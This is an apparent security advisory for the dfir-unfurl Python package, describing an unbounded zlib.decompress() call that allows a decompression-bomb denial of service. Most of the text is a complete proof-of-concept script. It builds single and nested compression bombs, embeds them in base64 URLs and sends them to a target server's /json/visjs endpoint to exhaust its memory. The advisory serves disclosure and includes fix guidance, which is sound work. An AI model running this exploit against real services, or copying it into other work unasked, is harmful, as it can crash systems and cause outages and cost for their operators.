PT-2026-6999 · Pypi · Dfir-Unfurl
Published
2026-01-29
·
Updated
2026-01-29
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
The compressed data parser uses
zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.Details
unfurl/parsers/parse compressed.pycallszlib.decompress(decoded)with no size limit.- Inputs are accepted from URL components that match base64 patterns.
- Highly compressible payloads can expand orders of magnitude larger than their compressed size.
PoC
- Generate a payload with
security poc/poc decompression bomb.py --generate-only. - The script creates a base64-encoded zlib payload embedded in a URL.
- Submitting the URL to
/json/visjscan cause the server to allocate large amounts of memory. - The script includes a
--testmode but warns it can crash the service.
PoC Script
python
#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================
This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.
Vulnerability Location:
- parse compressed.py:81-82:
inflated bytes = zlib.decompress(decoded) # No maxsize parameter
Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)
Usage:
python poc decompression bomb.py [--target URL] [--size SIZE MB]
"""
import argparse
import base64
import os
import zlib
import requests
import sys
import time
def create compression bomb(target size mb: int = 100) -> bytes:
"""
Create a compression bomb - small compressed data that expands to target size mb.
Compression ratio for zeros can be ~1000:1 or better.
A 1KB compressed payload can expand to ~1MB.
A 100KB payload can expand to ~100MB.
"""
# Create highly compressible data (all zeros)
target bytes = target size mb * 1024 * 1024
uncompressed = b'x00' * target bytes
# Compress with maximum compression
compressed = zlib.compress(uncompressed, 9)
compression ratio = len(uncompressed) / len(compressed)
print(f"[*] Created compression bomb:")
print(f" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
print(f" Uncompressed size: {len(uncompressed):,} bytes ({target size mb} MB)")
print(f" Compression ratio: {compression ratio:.0f}:1")
return compressed
def create nested bomb(levels: int = 3, base size mb: int = 10) -> bytes:
"""
Create a nested compression bomb (zip bomb style).
Each level multiplies the final size.
Warning: This can create VERY large expansions.
3 levels with 10MB base = 10^3 = 1GB
4 levels with 10MB base = 10^4 = 10GB
"""
print(f"[*] Creating nested bomb with {levels} levels, {base size mb}MB base")
# Start with base payload
data = b'x00' * (base size mb * 1024 * 1024)
for level in range(levels):
data = zlib.compress(data, 9)
print(f" Level {level + 1}: {len(data):,} bytes")
theoretical size = base size mb * (1000 ** levels) # Rough estimate
print(f"[*] Theoretical expanded size: ~{theoretical size} MB")
return data
def create recursive quine bomb() -> bytes:
"""
Create a recursive decompression scenario.
When decompressed, the output is valid zlib that can be decompressed again.
This exploits any recursive decompression logic.
"""
# This is a simplified version - real quine bombs are more complex
# The concept: output when decompressed is also valid compressed data
# Create a pattern that when decompressed resembles compressed data
# This is primarily theoretical for this vulnerability
base = b'xx9c' + (b'x00' * 1000) # Fake zlib header + zeros
return zlib.compress(base * 1000, 9)
def encode for unfurl(compressed: bytes) -> str:
"""
Encode compressed data as base64 for URL inclusion.
Unfurl's parse compressed.py will:
1. Detect base64 pattern
2. Decode base64
3. Attempt zlib.decompress() without size limit
"""
return base64.b64encode(compressed).decode('ascii')
def create malicious url(payload: str) -> str:
"""
Create a URL containing the bomb payload.
Multiple injection points are possible.
"""
# As a query parameter value
return f"https://example.com/page?data={payload}"
def test vulnerability(target url: str, payload url: str, timeout: float = 30.0) -> dict:
"""
Submit bomb to Unfurl and monitor for DoS indicators.
"""
api url = f"{target url}/json/visjs"
params = {'url': payload url}
result = {
'submitted': True,
'timeout': False,
'error': None,
'response time': 0,
'memory exhaustion likely': False
}
try:
start = time.time()
response = requests.get(api url, params=params, timeout=timeout)
result['response time'] = time.time() - start
result['status code'] = response.status code
# Check for error responses indicating resource issues
if response.status code == 500:
result['error'] = 'Server error - possible memory exhaustion'
result['memory exhaustion likely'] = True
elif response.status code == 503:
result['error'] = 'Service unavailable - DoS successful'
result['memory exhaustion likely'] = True
except requests.exceptions.Timeout:
result['timeout'] = True
result['error'] = f'Request timed out after {timeout}s - possible DoS'
result['memory exhaustion likely'] = True
except requests.exceptions.ConnectionError as e:
result['error'] = f'Connection error: {e} - server may have crashed'
result['memory exhaustion likely'] = True
except Exception as e:
result['error'] = str(e)
return result
def main():
parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
parser.add argument('--target', default='http://localhost:5000',
help='Target Unfurl instance URL')
parser.add argument('--size', type=int, default=100,
help='Target decompressed size in MB')
parser.add argument('--nested', type=int, default=0,
help='Nesting levels for nested bomb (0 = simple bomb)')
parser.add argument('--test', action='store true',
help='Actually send the bomb (DANGEROUS)')
parser.add argument('--generate-only', action='store true',
help='Only generate payload, do not send')
parser.add argument('--output', help='Save payload to file')
args = parser.parse args()
print(f"""
╔═══════════════════════════════════════════════════════════════╗
║ UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT ║
╠═══════════════════════════════════════════════════════════════╣
║ Target: {args.target:<45} ║
║ Expanded Size: {args.size:<45} MB ║
║ Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")
# Generate the bomb
if args.nested > 0:
print(f"
[!] Creating NESTED bomb - theoretical size could be enormous!")
print(f" Be very careful with nested levels > 2")
if args.nested > 3:
print(f"[!] {args.nested} levels could produce terabytes of data!")
confirm = input(" Continue? (yes/no): ")
if confirm.lower() != 'yes':
sys.exit(0)
compressed = create nested bomb(args.nested, args.size // (10 ** args.nested) or 1)
else:
compressed = create compression bomb(args.size)
# Encode for URL
b64 payload = encode for unfurl(compressed)
malicious url = create malicious url(b64 payload)
print(f"
[*] Payload Statistics:")
print(f" Compressed size: {len(compressed):,} bytes")
print(f" Base64 size: {len(b64 payload):,} bytes")
print(f" URL length: {len(malicious url):,} bytes")
# Save payload if requested
if args.output:
with open(args.output, 'w') as f:
f.write(malicious url)
print(f"
[+] Payload saved to: {args.output}")
# Display truncated payload
print(f"
[*] Malicious URL (truncated):")
print(f" {malicious url[:100]}...")
print(f" (Full URL is {len(malicious url):,} characters)")
# Save full payload for reference
script dir = os.path.dirname(os.path.abspath( file ))
payload path = os.path.join(script dir, 'bomb payload.txt')
with open(payload path, 'w') as f:
f.write(malicious url)
print(f"
[+] Full payload saved to: {payload path}")
# Verify the bomb works locally
print(f"
[*] Verifying bomb locally (limited test)...")
try:
# Only decompress a small portion to verify it's valid
test data = zlib.decompress(compressed, bufsize=1024*1024) # 1MB max
print(f" ✅ Bomb is valid - decompresses to zeros")
except Exception as e:
print(f" ❌ Error: {e}")
sys.exit(1)
if args.generate only:
print("
[*] Generate-only mode. Not sending payload.")
sys.exit(0)
if not args.test:
print(f"""
╔═══════════════════════════════════════════════════════════════╗
║ SAFETY CHECK ║
╚═══════════════════════════════════════════════════════════════╝
To actually test this vulnerability, run with --test flag.
Manual testing:
1. Copy the payload URL from {payload path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage
Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive
Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max length parameter, e.g.:
zlib.decompress(data, bufsize=10*1024*1024) # 10MB limit
""")
sys.exit(0)
# Actually test (dangerous!)
print(f"
[!] SENDING BOMB TO {args.target}")
print(f"[!] This may crash the target service!")
confirm = input(" Type 'CONFIRM' to proceed: ")
if confirm != 'CONFIRM':
print(" Aborted.")
sys.exit(0)
print(f"
[*] Submitting payload...")
result = test vulnerability(args.target, malicious url, timeout=60.0)
print(f"
[*] Results:")
print(f" Timeout: {result['timeout']}")
print(f" Response time: {result['response time']:.2f}s")
print(f" Error: {result['error']}")
print(f" Memory exhaustion likely: {result['memory exhaustion likely']}")
if result['memory exhaustion likely']:
print(f"""
╔═══════════════════════════════════════════════════════════════╗
║ VULNERABILITY CONFIRMED ║
╚═══════════════════════════════════════════════════════════════╝
The target appears vulnerable to decompression bomb attacks.
Evidence:
- {result['error'] or 'Abnormal response observed'}
Recommendation:
Add size limits to zlib.decompress() calls:
# Before (vulnerable):
inflated bytes = zlib.decompress(decoded)
# After (fixed):
MAX DECOMPRESSED SIZE = 10 * 1024 * 1024 # 10MB
inflated bytes = zlib.decompress(decoded, bufsize=MAX DECOMPRESSED SIZE)
Or use streaming decompression with size checks:
decompressor = zlib.decompressobj()
chunks = []
total size = 0
for chunk in iter(lambda: compressed data.read(4096), b''):
decompressed = decompressor.decompress(chunk)
total size += len(decompressed)
if total size > MAX SIZE:
raise ValueError("Decompressed data too large")
chunks.append(decompressed)
""")
else:
print("
[*] Target may not be vulnerable or attack was mitigated.")
if name == ' main ':
main()Impact
A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).
Fix
Resource Exhaustion
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Dfir-Unfurl